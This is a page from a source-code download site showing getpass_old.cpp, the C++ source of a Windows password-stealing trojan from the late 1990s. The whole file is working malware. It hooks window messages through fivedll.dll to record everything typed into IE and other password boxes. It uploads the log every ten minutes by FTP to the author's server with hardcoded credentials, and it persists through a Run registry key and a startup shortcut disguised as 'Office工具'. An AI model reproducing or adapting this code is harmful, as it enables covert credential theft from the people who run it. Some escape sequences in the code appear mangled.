getpass_old.cpp
资源名称:spy_pass.zip [点击查看]
上传用户:adsacym
上传日期:2007-01-07
资源大小:67k
文件大小:11k
源码类别:
Internet/IE编程
开发平台:
Visual C++
- /* getpass.cpp: 可以将所有在IE和其他所有密码框中的输入记录下来. 并用ftp发送到个人主页 http://www.nease.net/~inetsoft, http://netcom.163.net netcom@163.net paladin@188.net inetsoft@china.com by lgd/Paladin.InetSoft GuangZhou Update 19981215: initconn(), using sd_connect instead of gethostname Update 19981218: add CreateStartup() and GetProxy() */ #include <windows.h> #include <shlobj.h> #include <winsock.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include "resource.h" #include "tcp.h" int CreateRun(void); int CreateStartup(void); /* copy文件到windows目录并在启动中建立快捷方式或设置自动启动 */ int DeleteShortCut(); int GetProxy(void); /* 查询代理服务器 */ int SendUserData(int pos); /* 发送数据到 ftp server */ int ftp_cmd(int sd, char *cmd, int success_code); /* 执行命令 */ int ftp_login(char *hostname, char *user_name, char *passwd); int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time); int initconn(int sd); /* 建立数据连接 */ int get_reply(int sd); /* 接收回答 */ void ftp_quit(int sd); int g_code; char g_reply[1024]; char proxy[20]; /* hooks in ../spydll/hook.c */ BOOL SetMsgHook(BOOL fSet) { static HHOOK hhkGetMessage = NULL; static HHOOK hhkCallWndProc = NULL; static HMODULE hmodHook; if (fSet) { if (!hmodHook) { if (!(hmodHook = LoadLibrary("fivedll.dll"))) { return FALSE; } } if (!hhkGetMessage) { if (!(hhkGetMessage = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetProcAddress(hmodHook, "SpyGetMsgProc"), hmodHook, 0))) { return FALSE; } } if (!hhkCallWndProc) { if (!(hhkCallWndProc = SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)GetProcAddress(hmodHook, "SpyCallWndProc"), hmodHook, 0))) { UnhookWindowsHookEx(hhkGetMessage); return FALSE; } } } else { if (hhkGetMessage) { UnhookWindowsHookEx(hhkGetMessage); hhkGetMessage = NULL; } if (hhkCallWndProc) { UnhookWindowsHookEx(hhkCallWndProc); hhkCallWndProc = NULL; } FreeLibrary(hmodHook); } return TRUE; } int filePos =0; char UserFile[128]; HRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { static int filePos =0; int newPos =0; char temp[80]; switch(msg) { case WM_CREATE: if((filePos =GetProfileInt("UserFile", "Pos", -1)) ==-1) { WriteProfileString("UserFile", "Pos", "0"); filePos =0; } if(!GetSystemDirectory(UserFile, sizeof(UserFile)-20)) return TRUE; strcat(UserFile, "\user.txt"); SetMsgHook(TRUE); SetTimer(hWnd, 1, 600000, NULL);/*每隔10分钟发送文件*/ break; case WM_TIMER: KillTimer(hWnd, 1);
- newPos =SendUserData(filePos); if(newPos >filePos) { filePos =newPos; WriteProfileString("UserFile", "Pos", itoa(filePos, temp, 10)); } SetTimer(hWnd, 1, 600000, NULL); break; case WM_DESTROY: SetMsgHook(FALSE); CreateStartup(); tcp_exit(); PostQuitMessage(0); break; case WM_QUERYENDSESSION: SetMsgHook(FALSE); CreateStartup(); tcp_exit(); return TRUE; } return DefWindowProc(hWnd, msg, wParam, lParam); } int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HWND hwnd; WNDCLASS ws; MSG msg; if(FindWindow("Five100", NULL) !=NULL) return 0; memset(proxy, 0, sizeof(proxy)); memset(&ws, 0, sizeof(ws)); GetProxy(); CreateStartup(); DeleteShortCut(); tcp_init(); ws.lpszClassName ="Five100"; ws.lpfnWndProc =MainWndProc; ws.hbrBackground =(HBRUSH)(COLOR_WINDOW+1); ws.hInstance =hInstance; ws.hIcon =LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1)); if(RegisterClass(&ws) <0) { tcp_exit(); return FALSE; } hwnd =CreateWindow("Five100", "", WS_POPUP|WS_SYSMENU|WS_CAPTION, 20, 20, 200, 200, NULL, NULL, hInstance, NULL); if(hwnd ==NULL) { tcp_exit(); return FALSE; } while (GetMessage(&msg, NULL, 0, 0)) { { TranslateMessage(&msg); DispatchMessage(&msg); } } SetMsgHook(FALSE); CreateStartup(); tcp_exit(); return msg.wParam; } int SendUserData(int pos) { int sd =-1, len =0; char hostname[20], username[50], file_remote[128]; int retry_times =0; len =rand()%10000; if(len <0) len =-len; sprintf(file_remote, "pass.%d", len); /* www.nease.net:202.96.152.194, 如果使用smtp,可以不泄露密码,但有时代理服务器不能通过*/ if(proxy[0]) { strcpy(hostname, proxy); strcpy(username, "paladin@paladin.163.net"); } else { retry_local: strcpy(hostname, "paladin.163.net"); strcpy(username, "paladin"); } if((sd =ftp_login(hostname, username, "c.30mn0")) <0) { if(++retry_times <2) goto retry_local; retry_times =0; return -1; } sd_connect =sd; if((len =ftp_put_file(sd, UserFile, pos, file_remote, 200)) <0) { ftp_quit(sd); return -1; } ftp_quit(sd); return pos+len; } int ftp_cmd(int sd, char *cmd, int success_code) { int code; if(tcp_send(sd, cmd, strlen(cmd), 5) !=(int)strlen(cmd)) return -1; if((code =get_reply(sd)) !=success_code) { return -2; } return 0; } int ftp_login(char *hostname, char *user_name, char *passwd) { int sd, ret; char cmds[100]; if((sd =tcp_connect(hostname, 21, 10)) <0) return -1; if((ret =get_reply(sd)) !=220) { closesocket(sd); return -1; } sprintf(cmds, "USER %srn", user_name); if(ftp_cmd(sd, cmds, 331) <0) { closesocket(sd); return -1; } sprintf(cmds, "PASS %srn", passwd); if(ftp_cmd(sd, cmds, 230) <0) { closesocket(sd); return -1; } return sd; } int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time) { char cmds[300]; int len, file_len =0, len_sent =0, ret =0, code; char *buf =NULL; FILE *fp =NULL; if((fp =fopen(file_local, "r")) ==NULL) { ret =-1; goto f_exit; } fseek(fp, 0, SEEK_END); file_len =ftell(fp)-pos; if(file_len <0) { fclose(fp); return -1; } if(file_len <pos) { filePos =0; WriteProfileString("UserFile", "Pos", "0"); fclose(fp); return 0; } if(file_len ==pos) { fclose(fp); return 0; } fseek(fp, pos, SEEK_SET); if(ftp_cmd(sd, "TYPE Irn", 200) <0) { ret =-1; goto f_exit; } if((sd_bind =initconn(sd)) <0) { ret =-1; goto f_exit; } sprintf(cmds, "STOR %srn", file_remote); if(ftp_cmd(sd, cmds, 150) <0) { ret =-1; goto f_exit; } if((sd_accept =tcp_accept(sd_bind, 20)) <0) { ret =-1; goto f_exit; } if((buf =(char *)malloc(1024+1)) ==NULL) { ret =-1; goto f_exit; } len_sent =0; while(len_sent < file_len) { if(file_len-len_sent <1024) len =file_len-len_sent; else len =1024; if(fread(buf, len, 1, fp) !=1) { get_reply(sd); ret =-1; goto f_exit; } if(tcp_send(sd_accept, buf, len, max_wait_time) !=len) { ret =-1; get_reply(sd); goto f_exit; } len_sent +=len; } closesocket(sd_accept); sd_accept =-1; if((code =get_reply(sd)) !=226) { goto f_exit; } ret =len_sent; f_exit: if(sd_accept >=0) closesocket(sd_accept); if(sd_bind >=0) closesocket(sd_bind); sd_accept =-1; sd_bind =-1; if(fp) fclose(fp); if(buf) free(buf); return ret; } int initconn(int sd) { char *p1, *p2; struct sockaddr_in addr1, addr2; char temp[256]; int len; int code, sd_data; /*struct hostent *hp;*/ if((sd_data =tcp_bind(NULL, 0)) <0) return -1; len =sizeof(addr1); /*if(gethostname(temp, sizeof(temp)) !=0) return -1; if((hp =gethostbyname(temp)) ==NULL) return -1;*/ if(getsockname(sd_connect, (struct sockaddr *)&addr1, &len) <0) return -1; if(getsockname(sd_data, (struct sockaddr *)&addr2, &len) <0) return -1; /*p1 =(char *)hp->h_addr;*/ p1 =(char *)&addr1.sin_addr; p2 =(char *)&addr2.sin_port; sprintf(temp, "PORT %d,%d,%d,%d,%d,%drn", ((int)p1[0]) &0xff, ((int)p1[1]) &0xff, (int)p1[2] &0xff, (int)p1[3]&0xff, (int)p2[0]&0xff, (int)p2[1]&0xff); if(tcp_send(sd, temp, strlen(temp), 10) !=(int)strlen(temp)) { closesocket(sd_data); return -1; } if((code =get_reply(sd)) !=200) { closesocket(sd_data); return -1; } return sd_data; } int get_reply(int sd) { int i, code =0; again: i =0; memset(g_reply, 0, sizeof(g_reply)); while(1) { if(tcp_recv(sd, &g_reply[i], 1, 10) !=1) break; if(g_reply[i] =='r') g_reply[i] =' '; if(g_reply[i] =='n') { g_reply[i] =' '; g_reply[i+1] =0; if(sscanf(g_reply, "%d", &code) !=1) { return -1; } else break; } i++; } if(g_reply[3] =='-') { i =0; goto again; } g_code =code; return code; } void ftp_quit(int sd) { ftp_cmd(sd, "QUITrn", 221); closesocket(sd); } int GetProxy(void) { char *tok =NULL; HKEY hKey; unsigned char temp[100]; unsigned long type, len; temp[0] =0; if(RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0, KEY_READ, &hKey) !=ERROR_SUCCESS) return -1; len =sizeof(temp); if(RegQueryValueEx(hKey, "ProxyServer", NULL, &type, temp, &len) !=ERROR_SUCCESS) { RegCloseKey(hKey); return -1; } if(tok =strtok((char *)temp, ":")) strcpy(proxy, tok); RegCloseKey(hKey); return 0; } int CreateRun(void) { HKEY hKey; const char *pval ="Five32.exe"; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE, &hKey) !=ERROR_SUCCESS) return -1; if(RegSetValueEx(hKey, "Five32", 0, REG_SZ, (const unsigned char *)pval, strlen(pval)+1) !=ERROR_SUCCESS) { RegCloseKey(hKey); return -1; } RegCloseKey(hKey); return 0; } /* Create shortcut in startup menu */ int CreateStartup(void) { HRESULT hres; IShellLink* pShellLink; char temp[128], windir[100]; GetWindowsDirectory(windir, sizeof(windir)); sprintf(temp, "%s\fivedll.dll", windir); CopyFile("fivedll.dll", temp, 1); sprintf(temp, "%s\five32.exe", windir); CopyFile("five32.exe", temp, 1); if(CreateRun() ==0) return 0; CoInitialize(NULL); hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&pShellLink); if(SUCCEEDED(hres)) { IPersistFile* pPersistFile; sprintf(temp, "%s\five32.exe", windir); pShellLink->SetPath(temp); pShellLink->SetDescription("five32"); hres =pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile); if(SUCCEEDED(hres)) { WCHAR wsz[128]; sprintf(temp, "%s\Start Menu\Programs\启动\Office工具.lnk", windir); MultiByteToWideChar( CP_ACP, 0, temp, -1, wsz, 128); hres = pPersistFile->Save(wsz, TRUE); /*if(FAILED(hres)) { char *pstr ="c:\windows\Start Menu\Programs\启动\startrun.lnk"; retry =1; copy spy.exe and spydll.dll to start goto retry; }*/ pPersistFile->Release(); } pShellLink->Release(); } CoUninitialize(); return (int)hres; } int DeleteShortCut() { char windir[100], file[128]; GetWindowsDirectory(windir, sizeof(windir)); sprintf(file, "%s\Start Menu\Programs\启动\Office工具.lnk", windir); remove(file); return 0; }